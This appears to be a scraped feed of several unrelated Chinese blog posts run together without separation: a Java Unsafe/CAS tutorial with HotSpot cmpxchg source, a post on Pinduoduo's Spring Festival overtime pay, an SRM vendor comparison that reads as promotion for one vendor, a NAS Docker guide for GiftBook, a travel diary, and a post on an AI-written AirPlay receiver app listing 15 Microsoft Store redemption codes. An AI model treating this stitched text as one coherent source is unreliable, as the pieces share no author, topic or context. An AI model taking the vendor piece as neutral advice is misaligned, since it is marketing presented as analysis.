什么是 CAS? CAS 即比较并替换(Compare And Swap),是实现并发算法时常用到的一种技术。CAS 操作包含三个操作数——内存位置、预期原值及新值。执行 CAS 操作的时候,将内存位置的值与预期原值比较,如果相匹配,那么处理器会自动将该位置值更新为新值,否则,处理器不做任何操作。我们都知道,CAS 是一条 CPU 的原子指令(cmpxchg 指令),不会造成所谓的数据不一致问题,Unsafe 提供的 CAS 方法(如 compareAndSwapXXX)底层实现即为 CPU 指令 cmpxchg

典型应用

在 JUC 包的并发工具类中大量地使用了 CAS 操作,像在前面介绍synchronizedAQS的文章中也多次提到了 CAS,其作为乐观锁在并发工具类中广泛发挥了作用。在 Unsafe 类中,提供了compareAndSwapObjectcompareAndSwapIntcompareAndSwapLong方法来实现的对Objectintlong类型的 CAS 操作。以compareAndSwapInt方法为例:

public final native boolean compareAndSwapInt(Object o, long offset,int expected,int x);

参数中o为需要更新的对象,offset是对象o中整形字段的偏移量,如果这个字段的值与expected相同,则将字段的值设为x这个新值,并且此更新是不可被中断的,也就是一个原子操作。下面是一个使用compareAndSwapInt的例子:

private volatile int a;
public static void main(String[] args){
    CasTest casTest=new CasTest();
    new Thread(()->{
        for (int i = 1; i < 5; i++) {
            casTest.increment(i);
            System.out.print(casTest.a+" ");
        }
    }).start();
    new Thread(()->{
        for (int i = 5 ; i <10 ; i++) {
            casTest.increment(i);
            System.out.print(casTest.a+" ");
        }
    }).start();
}

private void increment(int x){
    while (true){
        try {
            long fieldOffset = unsafe.objectFieldOffset(CasTest.class.getDeclaredField("a"));
            if (unsafe.compareAndSwapInt(this,fieldOffset,x-1,x))
                break;
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        }
    }
}

运行代码会依次输出:

1 2 3 4 5 6 7 8 9

在上面的例子中,使用两个线程去修改int型属性a的值,并且只有在a的值等于传入的参数x减一时,才会将a的值变为x,也就是实现对a的加一的操作。流程如下所示:

需要注意的是,在调用compareAndSwapInt方法后,会直接返回truefalse的修改结果,因此需要我们在代码中手动添加自旋的逻辑。在AtomicInteger类的设计中,也是采用了将compareAndSwapInt的结果作为循环条件,直至修改成功才退出死循环的方式来实现的原子性的自增操作。

线程调度

介绍

Unsafe 类中提供了parkunparkmonitorEntermonitorExittryMonitorEnter方法进行线程调度。

//取消阻塞线程
public native void unpark(Object thread);
//阻塞线程
public native void park(boolean isAbsolute, long time);
//获得对象锁(可重入锁)
@Deprecated
public native void monitorEnter(Object o);
//释放对象锁
@Deprecated
public native void monitorExit(Object o);
//尝试获取对象锁
@Deprecated
public native boolean tryMonitorEnter(Object o);

方法 parkunpark 即可实现线程的挂起与恢复,将一个线程进行挂起是通过 park 方法实现的,调用 park 方法后,线程将一直阻塞直到超时或者中断等条件出现;unpark 可以终止一个挂起的线程,使其恢复正常。

此外,Unsafe 源码中monitor相关的三个方法已经被标记为deprecated,不建议被使用:

//获得对象锁
@Deprecated
public native void monitorEnter(Object var1);
//释放对象锁
@Deprecated
public native void monitorExit(Object var1);
//尝试获得对象锁
@Deprecated
public native boolean tryMonitorEnter(Object var1);

monitorEnter方法用于获得对象锁,monitorExit用于释放对象锁,如果对一个没有被monitorEnter加锁的对象执行此方法,会抛出IllegalMonitorStateException异常。tryMonitorEnter方法尝试获取对象锁,如果成功则返回true,反之返回false

典型应用

Java 锁和同步器框架的核心类 AbstractQueuedSynchronizer (AQS),就是通过调用LockSupport.park()LockSupport.unpark()实现线程的阻塞和唤醒的,而 LockSupportparkunpark 方法实际是调用 Unsafeparkunpark 方式实现的。

public static void park(Object blocker) {
    Thread t = Thread.currentThread();
    setBlocker(t, blocker);
    UNSAFE.park(false, 0L);
    setBlocker(t, null);
}
public static void unpark(Thread thread) {
    if (thread != null)
        UNSAFE.unpark(thread);
}

LockSupportpark方法调用了 Unsafepark方法来阻塞当前线程,此方法将线程阻塞后就不会继续往后执行,直到有其他线程调用unpark方法唤醒当前线程。下面的例子对 Unsafe 的这两个方法进行测试:

public static void main(String[] args) {
    Thread mainThread = Thread.currentThread();
    new Thread(()->{
        try {
            TimeUnit.SECONDS.sleep(5);
            System.out.println("subThread try to unpark mainThread");
            unsafe.unpark(mainThread);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }).start();

    System.out.println("park main mainThread");
    unsafe.park(false,0L);
    System.out.println("unpark mainThread success");
}

程序输出为:

park main mainThread
subThread try to unpark mainThread
unpark mainThread success

程序运行的流程也比较容易看懂,子线程开始运行后先进行睡眠,确保主线程能够调用park方法阻塞自己,子线程在睡眠 5 秒后,调用unpark方法唤醒主线程,使主线程能继续向下执行。整个流程如下图所示:

Class 操作

介绍

UnsafeClass的相关操作主要包括类加载和静态变量的操作方法。

静态属性读取相关的方法

//获取静态属性的偏移量
public native long staticFieldOffset(Field f);
//获取静态属性的对象指针
public native Object staticFieldBase(Field f);
//判断类是否需要初始化(用于获取类的静态属性前进行检测)
public native boolean shouldBeInitialized(Class<?> c);

创建一个包含静态属性的类,进行测试:

@Data
public class User {
    public static String name="Hydra";
    int age;
}
private void staticTest() throws Exception {
    User user=new User();
    // 也可以用下面的语句触发类初始化
    // 1.
    // unsafe.ensureClassInitialized(User.class);
    // 2.
    // System.out.println(User.name);
    System.out.println(unsafe.shouldBeInitialized(User.class));
    Field sexField = User.class.getDeclaredField("name");
    long fieldOffset = unsafe.staticFieldOffset(sexField);
    Object fieldBase = unsafe.staticFieldBase(sexField);
    Object object = unsafe.getObject(fieldBase, fieldOffset);
    System.out.println(object);
}

运行结果:

false
Hydra

Unsafe 的对象操作中,我们学习了通过objectFieldOffset方法获取对象属性偏移量并基于它对变量的值进行存取,但是它不适用于类中的静态属性,这时候就需要使用staticFieldOffset方法。在上面的代码中,只有在获取Field对象的过程中依赖到了Class,而获取静态变量的属性时不再依赖于Class

在上面的代码中首先创建一个User对象,这是因为如果一个类没有被初始化,那么它的静态属性也不会被初始化,最后获取的字段属性将是null。所以在获取静态属性前,需要调用shouldBeInitialized方法,判断在获取前是否需要初始化这个类。如果删除创建 User 对象的语句,运行结果会变为:

true
null

使用defineClass方法允许程序在运行时动态地创建一个类

public native Class<?> defineClass(String name, byte[] b, int off, int len, ClassLoader loader,ProtectionDomain protectionDomain);

在实际使用过程中,可以只传入字节数组、起始字节的下标以及读取的字节长度,默认情况下,类加载器(ClassLoader)和保护域(ProtectionDomain)来源于调用此方法的实例。下面的例子中实现了反编译生成后的 class 文件的功能:

private static void defineTest() {
    String fileName="F:\\workspace\\unsafe-test\\target\\classes\\com\\cn\\model\\User.class";
    File file = new File(fileName);
    try(FileInputStream fis = new FileInputStream(file)) {
        byte[] content=new byte[(int)file.length()];
        fis.read(content);
        Class clazz = unsafe.defineClass(null, content, 0, content.length, null, null);
        Object o = clazz.newInstance();
        Object age = clazz.getMethod("getAge").invoke(o, null);
        System.out.println(age);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

在上面的代码中,首先读取了一个class文件并通过文件流将它转化为字节数组,之后使用defineClass方法动态的创建了一个类,并在后续完成了它的实例化工作,流程如下图所示,并且通过这种方式创建的类,会跳过 JVM 的所有安全检查。

除了defineClass方法外,Unsafe 还提供了一个defineAnonymousClass方法:

public native Class<?> defineAnonymousClass(Class<?> hostClass, byte[] data, Object[] cpPatches);

使用该方法可以用来动态的创建一个匿名类,在Lambda表达式中就是使用 ASM 动态生成字节码,然后利用该方法定义实现相应的函数式接口的匿名类。在 JDK 15 发布的新特性中,在隐藏类(Hidden classes)一条中,指出将在未来的版本中弃用 UnsafedefineAnonymousClass方法。

典型应用

Lambda 表达式实现需要依赖 UnsafedefineAnonymousClass 方法定义实现相应的函数式接口的匿名类。

系统信息

介绍

这部分包含两个获取系统相关信息的方法。

//返回系统指针的大小。返回值为4(32位系统)或 8(64位系统)。
public native int addressSize();
//内存页的大小,此值为2的幂次方。
public native int pageSize();

典型应用

这两个方法的应用场景比较少,在java.nio.Bits类中,在使用pageCount计算所需的内存页的数量时,调用了pageSize方法获取内存页的大小。另外,在使用copySwapMemory方法拷贝内存时,调用了addressSize方法,检测 32 位系统的情况。

Unsafe底层

再看看Unsafe的compareAndSwap 方法来实现CAS操作,它是一个本地方法,实现位于unsafe.cpp中。

UNSAFE_ENTRY(jboolean, Unsafe_CompareAndSwapInt(JNIEnv *env, jobject unsafe, jobject obj, jlong offset, jint e, jint x))
  UnsafeWrapper("Unsafe_CompareAndSwapInt");
  oop p = JNIHandles::resolve(obj);
  jint* addr = (jint *) index_oop_from_field_offset_long(p, offset);
  return (jint)(Atomic::cmpxchg(x, addr, e)) == e;
UNSAFE_END

可以看到它通过 Atomic::cmpxchg 来实现比较和替换操作。其中参数x是即将更新的值,参数e是原内存的值。

如果是Linux的x86,Atomic::cmpxchg方法的实现如下:

inline jint Atomic::cmpxchg (jint exchange_value, volatile jint* dest, jint compare_value) {
  int mp = os::is_MP();
  __asm__ volatile (LOCK_IF_MP(%4) "cmpxchgl %1,(%3)"
                    : "=a" (exchange_value)
                    : "r" (exchange_value), "a" (compare_value), "r" (dest), "r" (mp)
                    : "cc", "memory");
  return exchange_value;
}

而windows的x86的实现如下:

inline jint Atomic::cmpxchg (jint exchange_value, volatile jint* dest, jint compare_value) {
    int mp = os::isMP(); //判断是否是多处理器
    _asm {
        mov edx, dest
        mov ecx, exchange_value
        mov eax, compare_value
        LOCK_IF_MP(mp)
        cmpxchg dword ptr [edx], ecx
    }
}

// Adding a lock prefix to an instruction on MP machine
// VC++ doesn't like the lock prefix to be on a single line
// so we can't insert a label after the lock prefix.
// By emitting a lock prefix, we can define a label after it.
#define LOCK_IF_MP(mp) __asm cmp mp, 0  \
                       __asm je L0      \
                       __asm _emit 0xF0 \
                       __asm L0:

如果是多处理器,为cmpxchg指令添加lock前缀。反之,就省略lock前缀(单处理器会不需要lock前缀提供的内存屏障效果)。这里的lock前缀就是使用了处理器的总线锁(最新的处理器都使用缓存锁代替总线锁来提高性能)。

cmpxchg(void* ptr, int old, int new),如果ptr和old的值一样,则把new写到ptr内存,否则返回ptr的值,整个操作是原子的。在Intel平台下,会用lock cmpxchg来实现,使用lock触发缓存锁,这样另一个线程想访问ptr的内存,就会被block住。

距离过年假期越来越近了,说实话,这会坐在工位上有时候浑身刺挠,思绪不知不觉也会飘上一阵。

最近在网上刷到一个过年期间电商平台拼多多内部加班补贴曝光的帖子,相信不少同学也看到了,在职场社区里引发了一阵关注和热议。

具体内容是这样的:

简单点来说:

  • 从除夕到初三这前四天,员工可获得当日工资 3 倍的报酬,其中不仅包括正常日薪,还额外增加了每日保底 400 元的补贴;
  • 而从初四到初七这后四天,报酬调整为当日工资的 2 倍,当然同样包含正常日薪与每日保底 200 元的补贴。

不知道大家有没有算过一笔账,以一个月薪 2w~3w 的员工为例(当然在拼多多实际比这高的比比皆是),平均日薪如果就粗略地按 1000 左右来算的话,如果他选择加满这 9 天班,仅法定节假日的三倍工资部分就已是一笔巨款。

简单一些粗略算算,即便不算上帖子里所说的什么补贴,就按除夕到初三这四天每天三倍工资以及初四到初七这四天每天两倍工资,那也有:

(3000×4)+(2000×4)+1000=21000

也就是说短短 9 天假期,两万多到手,这还不算帖子里所说的什么各种补贴或者其他激励,如果加上这些,实际收入还会更高。

这什么概念,这相当于大厂普通程序员工作一个月的薪资,但在这里仅用一周的时间就可以赚到。

这如果要是搁在许多其他行业,这或许是一个普通员工好几个月的全部收入了。

更引人注目的是,按帖子来说,拼多多在这次春节期间还取消了计件薪资的封顶限制,多劳多得,上不封顶。

当然,咱们上面这只是粗略算算,毕竟不同岗位,不同工种,不同员工的加班时间选择段也不一样,所以实际收入肯定是各有不同。

比如对于拼多多的研发岗程序员们来说,高 base 的员工那比比皆是,那这个春节加班报酬合下来更是非常可观了,比上面算的高一大截也再正常不过。

那作为行业内的后起之秀,拼多多如今已是一个拥有海量用户的电商平台,拼多多的系统需要 365 天无间断运行,即便是春节期间,各项电商业务对用户来说都需要可用,这些需求不会因为节假日而消失。

更重要的是,拼多多的国际版 Temu 也正在全球范围内迅猛扩张,无论是下载量还是月活数据都屡创新高,这些海外用户的购物需求在春节期间不会减少。

因此不光是拼多多,像这类电商平台公司,春节期间为了保证系统的稳定运行,都会安排专人值班。

而且拼多多的人效在电商行业中一直处于比较领先的水平,在这样的高效运营模式下,为关键岗位提供高额加班补贴,确保业务连续性和稳定性,这对于他们公司来说,其实是一种非常理性的商业投资,怎么算都是非常划算的。

前段时间,在网上不是有一个流传很广的那个《国内最难入职的 IT 公司排行》表格嘛,相信不少同学都看过,其中排在榜首的就是拼多多。

当然这个表格并非官方发布的,而是有网友根据校招面试的一些情况整理得出的,只能算是一个主观感受结果,并不能保证完全准确,大家可以参考感受一下。

大家知道拼多多素来都以快节奏、高压力和强执行所著称,其面试难度在互联网行业位居前列基本是没毛病的,尤其在技术研发岗和核心业务部门。

就拿技术岗来说,面过拼多多的同学都知道其算法与实战并重,题目难度可对标 LeetCode 中等到 Hard 级别,比如组合总数、动态规划等这类问题,而且需手写代码并优化时间复杂度。

另外拼多多对于工程实践能力也非常侧重,像什么高并发、数据库优化、分布式缓存一致性等等考查,在面试的时候基本都是家常便饭。

在拼多多虽然工作强度大,工作量多,但人家也是真的肯给钱。就像网友说的那样,只要回报和工作量能相匹配,那大家基本都还是可以接受的。

当然,还是那句话,每个人的想法不一样,每个人的选择也不一样,如果是你,面对高额的加班补贴 or 难得的假期生活,你会怎么选择呢?

注:本文在GitHub开源仓库「编程之路」 https://github.com/rd2coding/Road2Coding 中已经收录,里面有我整理的6大编程方向(岗位)的自学路线+知识点大梳理、面试考点、我的简历、几本硬核pdf笔记,以及程序员生活和感悟,欢迎star。

在全球化的商业棋局中,供应商关系管理已不再是采购部门的辅助工具,而是决定企业供应链韧性、成本结构与风险抵御能力的核心数字引擎。尤其对于业务遍布全球的大型集团而言,选择一套供应商关系管理系统,远非一次软件采购那么简单。它是一项深刻影响全球运营效率、跨组织协同和未来竞争格局的战略性工程。

本文将为您揭示大型集团在供应商关系管理系统选型时的关键路径。我们探讨的并非一份简单的优劣榜单,而是一幅基于不同战略焦点与生态体系的决策地图。本质上,您的选择是在全球化综合平台、全场景专业方案与深度生态集成这三条主流路径中,寻找与企业基因最为契合的战略伙伴。

一、SRM相关概念

SRM(Supplier Relationship Management即供应商关系管理)是一种旨在优化企业与上游供应商合作关系的战略方法。它不仅仅是一套软件或技术,更是一种先进的管理思想,核心在于与供应商建立并维护长久、紧密的伙伴关系。

这种管理机制的最终目标,是超越传统的采购交易模式,通过深度整合双方的资源与竞争优势,共同开拓市场、扩大需求,从而在源头上降低产品成本,最终实现双赢。

而供应商关系管理软件,正是实现这一管理思想的数字化工具。它覆盖了从供应商寻源、准入、绩效评估到退出的全生命周期,帮助企业实现高效的采购协同,有效控制供应链风险,并基于精准数据做出更明智的决策。

二、大型集团企业SRM选型特殊性

与业务流程相对简单、需求聚焦的中小企业不同,大型集团企业的SRM选型必须直面以下四个维度的复杂挑战,这也构成了其独特的选型标准:

全球化运营与合规的刚性需求:业务遍布多国,要求SRM系统必须支持多语言、多币种、多税制,并能内置或适配不同地区的贸易合规与法律法规。这远非简单的界面翻译,而是涉及从寻源、合同到付款的全流程全球化适配能力。

复杂组织架构与管控模式:集团总部、子公司、事业部之间往往存在复杂的采购集权与分权关系。系统需支持灵活的多组织架构、跨法人审批流、内部结算以及集团级供应商主数据统一管控,实现“统而不死,分而不乱”。

战略寻源与供应商全生命周期深度管理:采购重点从执行效率转向战略价值。系统需提供强大的电子招投标、成本分析、供应商绩效评估与风险管理工具,并能将供应商的ESG(环境、社会、治理)表现纳入评估体系,以满足可持续发展和合规报告要求。

与现有生态的深度集成:大型企业往往已部署ERP(如SAP、Oracle)、PLM、MES等多套核心系统。新SRM系统必须具备强大的集成能力,打破“信息孤岛”,实现从需求、寻源、订单、生产到财务结算的端到端数据自动流动,而非制造新的数据断点。

这些挑战决定了大型企业无法采用面向中小企业的轻量化、标准化SRM产品,而必须选择能够承载其业务复杂性和战略意图的企业级平台。

三、排名前三解决方案全景解读

1. SAP Ariba:全球化采购网络的标杆

核心定位:基于全球最大B2B商业网络的云端采购平台,是跨国集团实现全球采购协同、合规与战略寻源的终极选择之一。

解决大型企业痛点的能力

全球化网络效应:其核心优势在于连接了超过460万家供应商的庞大网络,能极大拓展企业的全球寻源范围。某跨国消费品公司通过整合83国采购操作,将合规率提升至96%。

深度合规与集成:内置各国税务规则,并与SAP ERP生态实现原生深度集成,为已采用SAP技术栈的集团提供了无缝的业财一体化体验。

典型适用场景:适用于供应链布局全球、对跨国合规与统一采购流程有极致要求的大型跨国集团,尤其是在快消、制造、能源等行业。

2. Oracle Fusion Procurement Cloud:AI与分析驱动的智能套件

核心定位:作为Oracle云应用套件的核心组成部分,提供集战略寻源、采购到付款、供应商管理与深度分析于一体的智能化解决方案。

解决大型企业痛点的能力

高级分析与AI驱动:深度融合AI能力,可用于优化库存分配、需求预测和采购决策。其供应商评估模块能直接收集供应商的ESG数据(如碳排放),赋能可持续供应链建设。

全价值链云集成:与Oracle Fusion Cloud ERP、供应链管理(SCM)等套件内其他模块天生一体,为追求统一、智能的全球运营平台的大型集团提供了完整解决方案。

典型适用场景:适合已广泛使用Oracle生态系统,或正在寻求通过AI和高级分析重构全球供应链,并高度重视ESG战略落地的大型企业。

3. 正远科技SRM:聚焦复杂业务流程与深度集成的专业方案

核心定位:一家深耕企业级数智化解决方案的服务商,其SRM系统以 “流程模型双轮驱动” 架构为核心,专注于解决大型制造、集团型企业复杂、非标的供应链管理难题。

解决大型企业痛点的能力

卓越的流程灵活性与深度集成:基于低代码理念,可高度自定义和配置复杂审批流与业务规则,快速响应组织变革。在恒力电机的案例中,正远SRM成功实现了与ERP、PLM、MES、WMS等多套异构系统的深度集成,彻底打破了信息孤岛,使端到端数据自动流动成为现实。

精细化执行协同与成本控制:提供从战略寻源到订单、送货、质检、对账的全链条精细化协同。通过系统固化价格计算公式和线上寻源,帮助企业实现成本的精益控制与追溯。

典型适用场景:特别适合业务流程复杂、个性化要求高、且与多种生产管理系统(PLM/MES)有深度协同需求的制造业集团企业,或对现有IT生态集成有严苛要求的超大型组织。

总结:没有排名,只有匹配

综上所述,对于大型集团企业而言,不存在放之四海而皆准的“最佳选择”。SAP Ariba是全球化网络与合规的典范,Oracle代表了人工智能与全栈云集成的未来,而正远科技SRM则在驾驭复杂业务流程与实现深度系统集成方面展现了其专业底蕴。

最终的选型决策,必须是一次严谨的战略对齐。首先,企业需明确其核心驱动力是全球化扩张还是内部运营深化。其次,必须审视现有信息技术生态,以确保新系统能无缝融入。最后,也是至关重要的一步,是通过概念验证,在真实的复杂业务场景中检验系统,看其能否兑现其在流程灵活性与集成深度上的承诺。唯有如此,所选择的供应商关系管理系统才能超越一个成功的软件项目,真正蜕变为支撑集团供应链核心竞争力的战略基石。

点赞 + 关注 + 收藏 = 学会了

整理了一个NAS小专栏,有兴趣的工友可以关注一下 👉 《NAS邪修》

GiftBook是专为红白喜事设计的纯本地电子礼簿系统,核心用于婚礼、寿宴、满月酒、乔迁等场合的礼金与礼品管理,可替代传统手写礼簿。

快过年啦,准备一下吧~

本次使用飞牛 NAS 部署,其他品牌的 NAS 操作步骤大同小异。

首先在“文件管理”的“docker”文件夹里创建一个“GiftBook”文件夹。

然后打开“Docker”,在 Compose 里创建一个项目,输入一下内容。

代码:

services:
  gift-book:
    image: heizicao/gift-book:latest
    container_name: gift-book
    ports:
      - 3001:3000
    restart: always

我这里设置了访问 gift-book 的端口是 3001,你也可以根据自己的情况来设置。

镜像下载完后,它会自动部署。

切换到「容器」页面,如果 gift-book 这项左侧的「点」变成了绿色就证明它成功运行起来了。

点击右侧的 🔗 按钮会自动在浏览器打开新窗口访问 gift-book

你也可以自己手动打开浏览器,输入 NAS的IP:3001 访问 gift-book


以上就是本文的全部内容啦,有疑问可以在评论区讨论~

想了解更多NAS玩法可以关注《NAS邪修》👏

点赞 + 关注 + 收藏 = 学会了

出差又来这个地方啦。

今天气温很低,至少低出我体验的最低温度了。

lishanqu

在路边买了点榛子,味道有点怪,但是还是吃得习惯。
带回去和同事在办公室分分,吃吃。

榛子

老板看我穿的单薄,而且没有带手套,随在车上翻找他工作用的白色手套,要找一副新的给我。
感谢老板,说我今天就回去了,马上回宾馆了,不要麻烦了。
又买了一根他卖的玉米,说 10 元 4 根,我说就要 1 根,他说给你 2 元吧。

还想去上次的菜场逛逛,
早晨住宿附近的菜市场
但是太冷了,而且远远的望去人并不多。

孟家沟早市

此刻,已感觉裤腿已冷透,赶紧回宾馆了。

今日归了,开心的周末。

也祝大家周末快乐,同时也预祝新年快乐。

背景

早年我在 Windows Phone (后来叫 Windows Mobile )系统应用贫瘠的时候在空闲时间为这个平台手搓过几个直播平台的非官方应用,当时这个系统基本上就是官方不开发的应用我们就自己开发。

wp_apps

后来 Windows Mobile 没了,我的本职工作是 iOS 开发。在这之后很长一段时间都没有搞过 Windows 平台的应用开发。

我在工作之外 Windows 用得比较多,其实也一直有在业余时间开发一些 Windows 桌面应用的想法。奈何实在太懒了一直没有付诸行动。

直到 Vibe Coding 出现了,完美解决了我既想开发应用又不想自己写代码的问题。从去年下半年开始,我在工作上基本做到代码 100% 由 AI 生成了。于是在今年 1 月底就开始尝试在工作之外用 AI 从零开始 100% Vibe Coding 完整的开发一款 Windows 应用并上架微软商店。

我开发的这款应用叫《轻投屏》,是一款用于接收 iPhone 、iPad 等设备 Air Play 镜像投屏或音乐投屏的应用。

技术栈

组件 技术 用途
UI 层 C# + WinUI 3 用户界面
核心层 C++/WinRT AirPlay 协议、视频和音频播放
互操作 CsWinRT C# 调用 C++ 组件的桥梁

应用运行在 AppContainer 中的,遵循最小权限原则,只使用了必要的网络权限,不会访问文件系统等。

UI 层

在这之前我几乎完全不了解 WinUI3 ,但是使用 Vibe Coding 我完全不需要去了解它,只需要看下 AI 生成的代码跑起来 UI 和交互是否符合我的预期就行。使用 Vibe Coding 还可以很轻松的实现多语言和主题切换。

核心层

C++ 层要做的事情比较多

  • AirPlay 协议与网络
    • MDNS 服务发现
    • RTSP 会话管理
    • RTP 数据接收
    • 音视频解密
  • 视频解码( H.264 、HEVC 、硬件加速)
  • 音频解码( ALAC 、AAC-ELD )
  • Direct3D 视频渲染
    • 屏幕旋转
    • 亮度调节
  • AudioGraph 音频输出
    • 音量调节
  • 音视频同步
    • NTP 时钟同步

C++ 部分由于涉及多线程,我让 AI 使用 C++20 的协程来简化异步和多线程的逻辑。

严格来说 C++ 部分我没有完全 Vibe Coding (即只看结果不看代码),因为 AI 会在各种地方给我留坑或者偷懒,所以我还是会让 AI 给我解释主要代码,然后我再让 AI 调整。尽管如此,这个应用的代码还是 100% AI 生成的。

应用截图

home
game
settings

应用商店链接&兑换码

应用商店链接

最后送 15 个兑换码,有需要的自取,希望可以给个 5 星好评。已使用的兑换码辛苦在下方回复一下,方便其他人找到可用的兑换码,感谢!

HR7GY-PGWYT-X2J6R-DKWJT-R7KTZ

VHTTX-RJ337-FMCQH-742HJ-HCHYZ

XHYPM-3JDXQ-DTQ66-C97WP-739GZ

M9MQR-YJPGX-9GM94-MV9GY-KGRYZ

HXKVR-RDMDP-224XV-PJPTG-HHDGZ

KXMWC-2FGJJ-MPFKY-G3MHJ-M72RZ

6QWQV-3C3WC-FGDCC-DRR4R-YTGGZ

PVR6P-T2YRJ-2QWXG-RG9HJ-FF2HZ

GG6J7-W6PHY-D7K4K-66R7H-PYXMZ

VFCDP-VYXGG-QJRTP-MM462-Y6Q3Z

3YKQ7-J629X-FH722-PX2KY-RCYDZ

WMCMV-CWGP4-QVTQ3-623KF-9D2GZ

WV37V-63QQG-GCHTX-HF3MJ-9V6RZ

9H6K9-FTCY4-R69CM-MYTY2-3XRYZ

MHXPD-WYF3F-VHGWK-PJD3C-H4R4Z